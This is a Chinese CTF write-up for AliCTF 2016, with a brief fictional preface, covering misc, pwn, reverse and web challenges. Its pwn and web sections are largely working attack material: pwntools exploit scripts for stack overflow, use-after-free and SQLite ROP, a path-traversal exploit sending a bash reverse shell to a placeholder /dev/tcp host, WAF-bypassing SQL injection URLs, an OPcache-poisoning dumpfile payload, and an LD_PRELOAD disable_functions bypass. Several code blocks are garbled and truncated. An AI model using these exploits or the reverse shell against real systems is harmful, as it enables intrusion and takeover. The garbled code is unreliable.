AliCTF 2016 Writup
「这边的犯人已经全部抓获,主机还在运行,已经把数据都拷贝出来。」塞拉靠在窗边,右手扶着耳朵上的麦克风,松了一口气说道。
这次抓获的犯罪嫌疑人,主要靠运营*网站获利。抓捕前,塞拉凭借自己的黑客能力结合社会工程学,反入侵到了其中一名犯罪嫌疑人的电脑上,在监视对方电脑有一段时间没操作时,预估对方可能不在电脑旁,迅速通过木马启动了对方电脑的摄像头,拍下了嫌疑人所处环境后,迅速组织警力对这个窝点进行了打击。
回到警局,原以为终于可以放松下,结果突然电脑弹出一封邮件,懒懒地瞄了眼邮件标题【 9.15 网络犯罪调查组成员技术比试通知 】。「**,这种时候还来这种消息,还让不让人休息,再这样下去我找不到男人,都是老大的错。」塞拉双手交叉放在后脑,躺在办公室的沙发上,看着天花板上,叹了口气。不过要是比试能拿下个好名次,就有进入总部直属调查部的机会,就更有可能发现哥哥的踪迹。这场竞技,我一定得拿下。
MISC
coloroverflow
首先感觉这种包名不像是CTF用的,所以直接Google之,发现是Google Play上开源的游戏Color Overflow。于是下载下来进行比对,发现多出了几个类无法匹配上原apk,所以猜测是自己后加的。分别将多出的类分析之后,发现分别是用语发送请求、生成请求和工具类。我将其命名为LogClass、n和Utils。
程序将请求生成之后向log.godric.me发送POST请求,在代码里发现数据发送之前用经过了GZIP压缩。在pcap中,也发现了这个请求,pcap里显示确实有Content-Encoding: gzip。用wireshark导出http数据得到了原始数据。
现在从LogClass往上找,发现GameView$1里的new LogClass().execute(new ByteArrayOutputStream[]{v2.OutputRequestBody()});会调用n中的方法。然后LogClass里的run会发送。
public ByteArrayOutputStream OutputRequestBody() { try { this.output_stream.reset(); f.a(this.output_stream, this.szId); f.a(this.output_stream, this.CurMill); f.a(this.output_stream, this.Rand); f.a(this.output_stream, this.d); this.output_stream.flush(); } catch(Exception v0) { v0.printStackTrace(); } return this.output_stream; }
其中d是由要发送的数据进行AES加密后得到的,在GetRequestBody这个方法中。
这部分缓存了要发送的数据。a方法有三个重载,都将输出到缓冲区。分别会先输出对应的类型标志,21、18和24。接下来,字符串类型会字符串长度,然后输出字符串;字节数组会输出一个字节表示长度,然后输出所有字节;长整型会按7位分组然后高位作为结尾标志,每次输出一个字节,高位为0表示结束。
因此我们可以从pcap导出的数据中还原出szId, CurMil, Rand, d。
szId被计算MD5后,摘要作为key(未编码成十六进制字符串),Rand和CurMill进行循环异或得到IV。因此key和IV也可以计算出来。
再来看AES:
if(i == 0) { int j; for(j = 0; j这部分看出,该AES将上一轮的输出和输入进行异或再加密,因此是CBC模式。
还原出IV和key,还有encrypted之后,便可以进行解密。解密出来发现其中包含flag。
szid = 'bb39b07060deabd5'curmill = [0xb9, 0xe8, 0xf3, 0xd3, 0xca, 0x2a]curmill = [i & (~128) for i in curmill]curmill = sum([curmill[i] > (i*8)) & 255 for i in range(8)][::-1]IV = [rand[i] ^ IV[i%8] for i in range(len(rand))]IV = ''.join(map(chr, IV))print 'IV', map(ord, IV)with open('encrypted') as f: encrypted = f.read()from Crypto.Cipher import AESaes_d = AES.new(key, AES.MODE_CBC, IV)print aes_d.decrypt(encrypted)PWN
Vss
存在一个栈溢出,输入的第0×48-0×50个字节刚好覆盖返回地址,用ROPgadget找到一个ropchain,由于第0×48-0×50个字节是返回地址,再找一个add rsp ret的gadget增加rsp的地址就可以返回到ropchain
from pwn import *from struct import packp = remote('121.40.56.102', 2333)recv_content = p.recvuntil('Password:\n')p2 = ''p2 += pack('') sl('create router') ru(':') sl(t) ru('name: ') sl(name)returndef create_terminal(t,name,attached): ru('>') sl('create terminal') ru(':') sl(attached) ru(':') sl(t) ru(':') sl(name)returndef delete_router(name): ru('>') sl('delete router') ru(':') sl(name)returndef connect(name1, name2): ru('>') sl('connect') ru(':') sl(name1) ru(':') sl(name2)returndef disconnect(name): ru('>') sl('disconnect') ru(':') sl(name)returndef show(): ru('>') sl('show')return# define exploit function heredef pwn():if DEBUG: gdb.attach(io)# uaf in disconnect create_route('cisco', '123') create_route('cisco', 'aaa') create_route('cisco', 'bbb') connect('123', 'aaa') connect('aaa', 'bbb') delete_router('aaa') create_terminal('osx','hello','bbb') show() ru('to ') pie = u64(ru('\n')[:-1].ljust(8,'\x00')) - 0x204b30 info('PIE Leaked = ' + hex(pie)) got = pie + 0x204EC8 create_route('cisco', 'b1') create_route('cisco', 'b2') create_route('cisco', 'b3') create_route('cisco', 'b4') connect('b1','b2') connect('b2','b3') delete_router('b2') delete_router('b4') payload = 'A'*0x8 + p64(got) + p64(0) + p64(0)[:-1] create_route('cisco', payload) show() ru('to ') ru('to ')#offset_setvbuf = 0x70670 offset_setvbuf = 0x705a0 libc = u64(ru('\n')[:-1].ljust(8,'\x00')) - offset_setvbuf info('Libc Leaked = ' + hex(libc))# leak heap address delete_router(payload) xxx_vtable = libc + 0x3BE060 - 8 payload2 = p64(xxx_vtable) + p64(pie) + p64(0) + p64(0)[:-1] create_route('cisco', payload2) create_route('cisco', 'feeder') delete_router('feeder') disconnect('b1') show()for i in xrange(6): ru('named ') heap_addr = u64(ru(' ')[:-1].ljust(8,'\x00')) - 0x340 info('Heap addr leaked = ' + hex(heap_addr))# final stage create_route('cisco', 'c1') create_route('cisco', 'c2') create_route('cisco', 'c3') create_route('cisco', 'c4') connect('c1', 'c2') connect('c2', 'c3') delete_router('c2') delete_router('c4') gadget = libc + 0xE4968 payload3 = p64(heap_addr+0x450) + p64(pie) + p64(0) + p64(0)[:-1] create_route('cisco', payload3) spray = 7 * p64(gadget) create_route('cisco', spray)''' poprdi = libc + 0x0000000000022b9a system = libc + 0x46590 binsh = libc + 0x17C8C3 ropchain = '' ropchain += p64(poprdi) ropchain += p64(binsh) ropchain += p64(system) ''' disconnect('c1') io.interactive()returnif __name__ == '__main__': pwn()http
题目是一个http服务器,刚开始没有给binary,经过测试发现,修改http头的请求目录可以导致任意文件读取(e.g.: GET /../../../../../etc/passwd HTTP/1.1), 通过此漏洞读取/proc/self/maps获取binary路径,然后得到二进制文件,分析后发现服务器处理post请求处有漏洞,利用见脚本:
#!/usr/bin/env python2# -*- coding:utf-8 -*-from pwn import *import os# flag : alictf{1et's_p14y_with_thr34ds_at_httpd}# switchesDEBUG = 0# modify thisif DEBUG: io = remote('127.0.0.1', 46962)else: io = remote('120.26.90.0',42665)if DEBUG: context(log_level='debug')# define symbols and offsets here# simplified r/s functiondef ru(delim):return io.recvuntil(delim)def rn(count):return io.recvn(count)def sl(data):return io.sendline(data)def sn(data):return io.send(data)def info(string):return log.info(string)# define interactive functions heredef sendpost(target, content): buf = '' buf += 'POST ' buf += target buf += ' HTTP/1.1\n' buf += 'Content-Length: ' buf += str(len(content)) buf += '\n\n' buf += content sn(buf)return# define exploit function heredef pwn():if DEBUG: gdb.attach(io)# arbitary file read vuln in httpd# dumping the binary and we find post content is passed to a newly created process, which we can specify#sendpost('/../../../../../../bin/bash', 'ls -la /;exit\n') sendpost('/../../../../../../bin/bash', 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;exit;\n')# connect back shell io.interactive()returnif __name__ == '__main__': pwn()vvss
sqli + 栈溢出, 利用见脚本:
#!/usr/bin/env python2# -*- coding:utf-8 -*-from pwn import *import os# flag : alictf{n0t_VerY_v3ry_secure_py}# switchesDEBUG = 0# modify thisif DEBUG: io = process('./vvss')else: io = remote('120.26.120.82',9999)context(log_level='debug')# define symbols and offsets here# simplified r/s functiondef ru(delim):return io.recvuntil(delim)def rn(count):return io.recvn(count)def sl(data):return io.sendline(data)def sn(data):return io.send(data)def info(string):return log.info(string)# define interactive functions heredef listall(): sl('py')return# select plain, len from keys where qid='%s'def query(param): buf = 'pz' buf += param sl(buf)returndef todo(): buf = 'pi' sl(buf);return# define exploit function heredef pwn():if DEBUG: gdb.attach(io)#listall() query("a';insert into keys values (909, hex(fts3_tokenizer('simple')), 'bx', 100);")# use tokenizer to leak address query("bx") offset = 0x2b4d80 ru('0') buf = rn(16) sqlite_base = u64(buf.decode('hex')) - offset info('SQLite Base leaked = ' + hex(sqlite_base)) offset2lib = 0x3c5000 libc = sqlite_base - offset2lib system = libc + 0x46590 binsh = libc + 0x17C8C3 ropchain = '' ropchain += p64(sqlite_base + 0x0000000000009ef8) ropchain += p64(binsh) ropchain += p64(system) payload = 656 * 'a' + ropchain query("a';insert into keys values (31337, x'"+payload.encode('hex')+"', 'exx', "+str(len(payload))+");") query("exx") io.interactive()returnif __name__ == '__main__': pwn()Reverse
Al-Gebra
一个pyinstaller打包的程序。用pyinstxtractor.py解包,然后发现主要文件是pyimod04_builtins,修复文件头之后反编译,获得主程序代码。
主程序从服务器获取了数据和两个函数 add和mul。
保存服务器发来的数据然后修复文件头反编译,得到函数内容。
程序逻辑就是做个矩阵乘法,然后检验结果。但是这里的加法和乘法都被重新定义过了。网上搜了下,发现这玩意好像叫多项式环。
直接对mul函数进行一些测试。发现对于mul(a,x)=b,a
然后拍了个高斯消元,注意加和乘的重定义。得解。
alictf{Ne_pleure_pas_Alfred}mat=[[207, 152, 250, 232, 183, 247, 125, 31, 89, 176, 139, 246, 97, 125, 76, 1, 175, 141, 61, 196],[90, 41, 196, 89, 48, 166, 201, 255, 28, 72, 10, 227, 134, 247, 87, 10, 219, 51, 146, 93],[76, 3, 187, 211, 246, 46, 222, 194, 67, 165, 130, 244, 221, 248, 132, 47, 91, 245, 136, 141],[223, 211, 5, 77, 225, 6, 21, 196, 120, 19, 233, 214, 143, 224, 2, 119, 50, 188, 90, 88],[108, 177, 46, 95, 80, 128, 125, 128, 22, 227, 179, 177, 191, 191, 7, 91, 209, 79, 31, 2],[152, 229, 184, 163, 212, 71, 125, 72, 67, 179, 37, 173, 156, 59, 235, 79, 28, 134, 73, 245],[40, 123, 5, 233, 197, 233, 30, 18, 232, 33, 56, 95, 69, 44, 205, 176, 246, 7, 211, 109],[11, 28, 73, 59, 71, 154, 72, 92, 139, 27, 109, 193, 92, 102, 17, 140, 230, 254, 181, 35],[242, 49, 103, 240, 78, 79, 46, 224, 168, 137, 147, 8, 125, 149, 197, 109, 85, 208, 254, 44],[180, 66, 51, 154, 33, 51, 1, 33, 0, 227, 13, 192, 65, 217, 206, 204, 7, 14, 22, 232],[46, 58, 126, 154, 21, 73, 28, 130, 223, 212, 63, 69, 167, 80, 240, 8, 172, 208, 206, 76],[218, 94, 40, 0, 108, 187, 3, 9, 39, 65, 110, 26, 242, 41, 143, 100, 17, 186, 95, 127],[19, 188, 30, 252, 33, 235, 104, 10, 232, 186, 243, 211, 92, 210, 150, 146, 191, 96, 108, 208],[119, 109, 150, 141, 45, 208, 118, 47, 10, 40, 41, 47, 122, 99, 238, 244, 0, 241, 187, 198],[240, 138, 99, 154, 114, 245, 192, 199, 90, 166, 232, 140, 119, 243, 237, 86, 21, 5, 168, 251],[144, 99, 109, 211, 70, 17, 11, 149, 225, 17, 177, 63, 53, 146, 17, 168, 81, 50, 149, 218],[238, 179, 216, 200, 226, 215, 124, 171, 57, 183, 76, 165, 56, 140, 123, 197, 152, 71, 112, 242],[162, 115, 153, 111, 219, 42, 159, 188, 118, 77, 232, 53, 83, 223, 183, 219, 150, 177, 149, 76],[229, 216, 82, 107, 93, 225, 244, 98, 38, 190, 193, 97, 54, 27, 208, 15, 71, 39, 106, 233],[131, 13, 74, 27, 217, 248, 206, 44, 14, 71, 69, 62, 35, 94, 224, 126, 96, 120, 252, 11]]c =[157, 244, 209, 121, 181, 200, 239, 205, 226, 51, 188, 143, 121, 212, 12, 95, 36, 10, 251, 133]length =len(mat[0])def mul_line(i, num):for j inxrange(length):mat[i][j]=mul(mat[i][j], num)c[i]=mul(c[i], num)def swap_line(a, b):tmp =c[a]c[a]=c[b]c[b]= tmptmp =mat[a]mat[a]=mat[b]mat[b]= tmpdef minus_line(src, dest):for i inxrange(length):mat[dest][i]=mat[dest][i] ^ mat[src][i]c[dest]=c[dest] ^ c[src]def minus_row(row, num):for i inxrange(length):mat[i][row] = mat[i][row] ^ numdef print_mat():for i inxrange(length):printmat[i]print""def mul(a, b):r =0while a !=0:if a & 1:r = r ^ bt = b & 128b = b > 1return rdef run():lum =[[jfor j inrange(0, 256)]for i inrange(0, 256)]for i inrange(0, 256):for j inrange(0, 256):lum[i][mul(i,j)]= jfor j inxrange(len(mat[0])):# print j# print_mat()end = length -1for i inrange(j, length):if end ==i:#print endbreakifmat[i][j]==0:swap_line(i, end)end -=1# change to 1for i inrange(j, length):ifmat[i][j]==0:breakmul_line(i, lum[mat[i][j]][1])# print_mat()# up minus allfor i inrange(j +1, length):ifmat[i][j]==0:breakminus_line(j, i)# print_mat()ans =[]#print cfor j inrange(length -1, -1, -1):xn=lum[1][c[j]]ans.append(chr(xn))for i inrange(j, -1, -1):c[i] ^= mul(xn, mat[i][j])# print_mat()print"".join(ans[::-1])run()Timer
逆向so里的函数,然后直接爆破。
代码写炸了,得到一组结果。。然后找到一些比较像flag的一个个试的
alictf{Y0vAr3TimerMa3te7}#include "cstdio"#include "cmath"boolisPrime(int x){if(x 0x6F ){v18 = b1 /24867.4000000000010;v31[3]= v18;}else{returnresult;}v31[13]=51;v31[14]=116;v31[15]=101;v31[16]=55;}else{returnresult;v31[1]=57;v31[2]=67;v31[3]=-120;v31[13]=61;v31[14]=106;v31[15]=111;v31[16]=59;}v31[4]=v31[2]-4;v19 = b1 /31693.7999999999990;v31[5]= (v19);v20= b1/19242.6600000000000;v31[6]=(v20);v21= (b1/15394.1000000000000);v31[7]= (v21);v22= (b1/14829.2000000000010);v31[8]=(v22);v23= (b1/16003.7999999999990);v31[9]= (v23);v24= (b1/14178.7999999999990);v31[10]= (v24);v31[11]=v29/20992;v25= (b1 /16663.7000000000010);v26=(v25);v31[17]=0;v31[12]=v26;for(int i=0;i='a' && v31[i]='A' && v31[i]='0' && v31[i]showmethemoney
c#写的勒索程序,逆向后发现会把id和key发到120.26.120.82:9999。
扫了下120.26.120.82的端口,发现80开着,得到vvss,逆向发现输入py会显示所有数据。得到key,写程序解密即可。
alictf{Black_sh33p_w411}
REact
reactnative的apk,反编译提取出js文件。验证程序分为两个部分。
第一个部分找到关键函数s,提取出判断函数e。
然后调试,发现是矩阵乘法(又是矩阵乘法)。然后提取出数据,求解方程组即可。
第二个部分在java层,通过bridge调用,直接求解即可。
alictf{keep_young_and_staysimple+1s_!}
第一部分
mat=[[11, 32, 31, 0, 10, 10, 6, 18, 10, 17, 16, 5, 12, 9, 26, 13],[0, 31, 15, 28, 2, 30, 18, 20, 12, 7, 12, 25, 13, 7, 11, 22],[13, 27, 8, 17, 7, 1, 17, 7, 21, 29, 8, 31, 31, 16, 28, 26],[13, 27, 20, 19, 12, 16, 0, 4, 16, 4, 21, 9, 11, 8, 24, 0],[17, 5, 25, 13, 14, 14, 29, 2, 24, 21, 27, 5, 20, 23, 22, 14],[6, 0, 20, 13, 24, 30, 25, 5, 32, 7, 15, 10, 6, 20, 27, 18],[18, 28, 11, 31, 4, 16, 30, 24, 22, 7, 4, 19, 18, 11, 12, 27],[2, 23, 1, 23, 10, 12, 28, 14, 19, 3, 13, 29, 27, 9, 3, 22],[27, 30, 32, 8, 24, 11, 12, 7, 12, 26, 27, 0, 1, 32, 14, 25],[28, 8, 17, 10, 9, 9, 18, 16, 16, 24, 19, 25, 22, 30, 24, 10],[24, 0, 30, 10, 19, 20, 3, 25, 1, 17, 23, 25, 5, 16, 7, 16],[20, 1, 19, 21, 23, 27, 15, 5, 32, 30, 1, 20, 3, 28, 15, 12],[15, 16, 26, 9, 29, 25, 11, 10, 21, 6, 16, 12, 23, 21, 31, 32],[10, 1, 18, 27, 11, 6, 4, 23, 9, 8, 17, 31, 18, 22, 2, 16],[11, 16, 23, 28, 10, 10, 19, 10, 10, 4, 12, 1, 0, 15, 14, 5],[2, 18, 24, 26, 23, 22, 30, 18, 18, 6, 0, 20, 17, 12, 23, 1]]整天想搞大新闻,吃枣药丸
c=[25434,19549,19765,28025,27015,23139,26935,29052,20005,25636,25317,26852,20113,24424,22495,22055]第二部分ans=[0x0e,0x1d,0x06,0x19,ord('+'),0x1c,0x0b,0x10,0x16,0x04,ord('6'),0x15,0x0b,0x0,ord(':'),0x0b]key='excited'output=""for i inxrange(len(ans)):output+=chr(ord(key[i%7])^ans[i])print outputLoopAndLoop
用ida调试发现check方法调用chec,会自动调用到check1,第一个参数被传递下去,第二个参数被减一后传递到check1。check1里调用chec函数同理地调用check2,check2里的chec调用check3,check3里的chec调用check1。如此递归下去,发现当第二个参数为1的时候,chec会直接返回参数一的值,也就是递归的边界。估计native的chec函数只起这样的作用,因此不需要逆向liblhm.so了。check1和check3都是加上一个数,check2根据第二个参数的奇偶决定是加上还是删除一个数。因此从最后的检查条件1835996258往前推99步就能推出正确的输入。
from ctypes import *SA = sum(range(100))SB = sum(range(1000))SC = sum(range(10000))S0 = 1835996258for i in range(1, 99): if i % 3 == 0: S0 = c_int(S0-SC).value if i % 3 == 2: S0 = c_int(S0-SA).value if i % 3 == 1: if i % 2 == 0: S0 = c_int(S0-SB).value else: S0 = c_int(S0+SB).valueprint S0print hex(S0)for i in range(98, 0, -1): if i % 3 == 0: S0 = c_int(S0+SC).value if i % 3 == 2: S0 = c_int(S0+SA).value if i % 3 == 1: if i % 2 == 0: S0 = c_int(S0+SB).value else: S0 = c_int(S0-SB).value print hex(S0)print S0Debug
debug blocker反调试,程序的验证步骤:
1.验证flag的长度是否为32,格式为[a-z0-9]+
2.把每两个字符的16进制字符串转换为整数,这一步会导致多解
3.每4个字节倒置
4.每8个字节做128轮的TEA加密,key为’3322110077665544BBAA9988FFEEDDCC’
5.最后把加密后的16个字节与0×31异或后与一个给定的字节数组比较
Uplycode
好多的自解密。。。程序的验证步骤:
1.flag开头是否为alictf{,把末尾的}改为空字节
2.验证第8-9字节,直接爆破得到为Pr
3.验证10-13字节,直接爆破得到为0bl3,我好暴力。。。
4.用13字节异或14字节的值解密接下来的验证函数,根据之前的规律知道自解密出来的第一个字节为0×55,因此14字节为M
5.对第14字节到最后的字节(不包括{)计算MD5值与35faf651b1a72022e8ddfed1caf7c45f比较
6.验证第19字节到最后的字节(不包括{)是否为A1w4ys_H3re,因此爆破第15-18字节就可以得到flag
xxFileSystem2
在队友们的帮助下做出的,xxdisk.bin的开头20000个字节是一个使用表,0表示未使用,1表示已使用,文件系统中的文件的开头第1-4个字节为在使用表中的索引值,第5-8个字节为FFFFFFFF,之后每4个字节是文件分块的索引值,一共22块,之后四字节是文件块使用的标记,再之后4字节是文件大小,跳过4字节之后是文件名,删除文件时会把使用表对应索引的值设为0,通过这个规则可以遍历xxdisk.bin,找到了1000多个删除的文件,输出文件名发现一个奇怪的555文件,然后抽取出555文件的内容
file = open('xxdisk.bin', 'rb')data = file.read()out = open('extract', 'wb')out.write(data[0x5024+(0x333抽取出来之后是一个压缩包,然而在ubuntu下怎么都解压不了,然后队友把它丢到windows中用winrar一下就解压出来了,在解压出来的文件中得到flag
Web
Find password
根据题目信息,大意就是让我们去找HHHH这个用户的密码,注册时候发现任意注册HHHH,登陆进去:
http://114.55.1.176:4458/detail.php?user_name这里发现存在注入,然后发现有waf,经过测验,发现select,or,and等等需要双写绕过,最后payload :
http://114.55.1.176:4458/detail.php?user_name=-2%27%0Aununionion%0Aselselectect%0Auser_pass,2,3,4%0Afrfromom%0Atest.users%0Aununionion%0Aselselectect%0A1,2,3,4%0Aoorr%0A%271
拿到flag:
Homework
开始又是注入= =
随手注册一个用户,进去以后,发现可以任意上传文件,不过不能getshell,没有太大用处。在文件描述那里发现存在注入:
很友好地没有多少过滤。然后走坑之旅开始。发现利用outfile这些可以写东西,但是也没有太大的用处,于是,fuzz了下,发现存在info.php和phpinfo.php,info大致提示我们flag在根目录下,不用去找了,再次贴心,接着看下phpinfo,居然是php7,想起了前阵子的漏洞: http://drops.wooyun.org/web/15450:利用 PHP7 的 OPcache 执行 PHP 代码。
当然这里必须要有一个上传漏洞才能去配合这个漏洞,一开始已经说了可以任意上传,当然包括php,我们知道缓存是优于其本体,而我们可以注入写文件,phpinfo也已经告诉了我们一些敏感路径,于是思路很明确了:
但是写的时候,我们会发现,如果用outfile写的话,mysql会把16进制的一些东西转换,导致面目全非,于是利用dumpfile可以很好的解决这一个问题,于是先探针下,最终payoad:
http://121.40.50.146/detail.php?id=-1%27%20union%20select%20unhex(’4F504341434845003339623030356164373734323863343237383831343063363833396536323031C002000000000000000000000000000000000000000000000000000000000000EF0D070F190D0000A8010000000000000200000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF040000004002000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000A80100000000000001000000020000000000000000000000FFFFFFFF020000000002000000000000080000005858354F00000000000000000000000000000000000000000000000000000000000000000000000000000000010000000700000012000000FEFFFFFF0000000000000000000000000000000000080000FFFFFFFF000000000000000020610689AC7F0000010000000700000012000000FEFFFFFF0000000000000000000000000000000010000000FFFFFFFF0000000000000000B0590689AC7F000000000000000000000000000000000000000000000000000001000000000000000000000000000000C002000000000000000200000000000000000000000000000000000000000000000000000000000000000000660DC4980000000000000000040000000606000019C2A9A742FDC1F029000000000000002F7661722F7777772F68746D6C2F75706C6F61642F32303136303630353132353733372D312E706870000000000000000000000000000000000000000000000020020000000000000600000000000000010000000000000004000000FFFFFFFF0100000006060000F9E0F8ABB5D000800700000000000000706870696E666F00C0E10E89AC7F000060000000000000000000000000000000020000003D080108E0A10E89AC7F000000000000000000006000000000000000020000003C08080480EE0B89AC7F000060000000000000000000000000000000020000002804080880570F89AC7F0000100000000000000000000000FFFFFFFF020000003E010808′)%20into%20dumpfile%20%27/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/20160605125737-1.php.bin%27–+
访问下ok:
OK,题目第一关已经成功过坑,看下disable-functions:
限制好死。。。觉得无望了。。。但是传了一句话后,不知道为什么eval可以执行:
然后找bypass的资料,在drop发现这么一个科技:
http://drops.wooyun.org/tips/16054利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令。然后瞬间有些懵逼地样子,so是什么玩意,作为一只web狗只看过没接触过,好在文章写得比较容易明白,根据文章的思路,就是我们可以编译so,然后利用php去访问,从而绕过php的诸多限制,也就是说我们利用c的函数去列目录读文件之类的,payload如下:
#include#include #include #include void payload(){ DIR* dir; struct dirent* ptr; dir = opendir("/"); FILE *fp; fp=fopen("/tmp/venenoveneno","w"); while ((ptr = readdir(dir)) != NULL) { fprintf(fp,"%s\n",ptr->d_name); } closedir(dir); fflush(fp);}int geteuid(){ if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload();} 然后gcc编译成so,然后根据前面的点,我们明白了出题人的思路:
做到这里,还有题目最后一个坑,就是生成的东西没权限去读,那么怎么办,于是前面传的shell用了用处,我们可以利用copy命令,去覆盖一个我们之前上传的bin,于是直接列目录:
然后再利用loadfile读就可以了:
发现flag,然后再进行一次类似操作,利用fopen去读文件,最后成功得到flag:
上一篇: [置顶] SQL字符串处理函数大全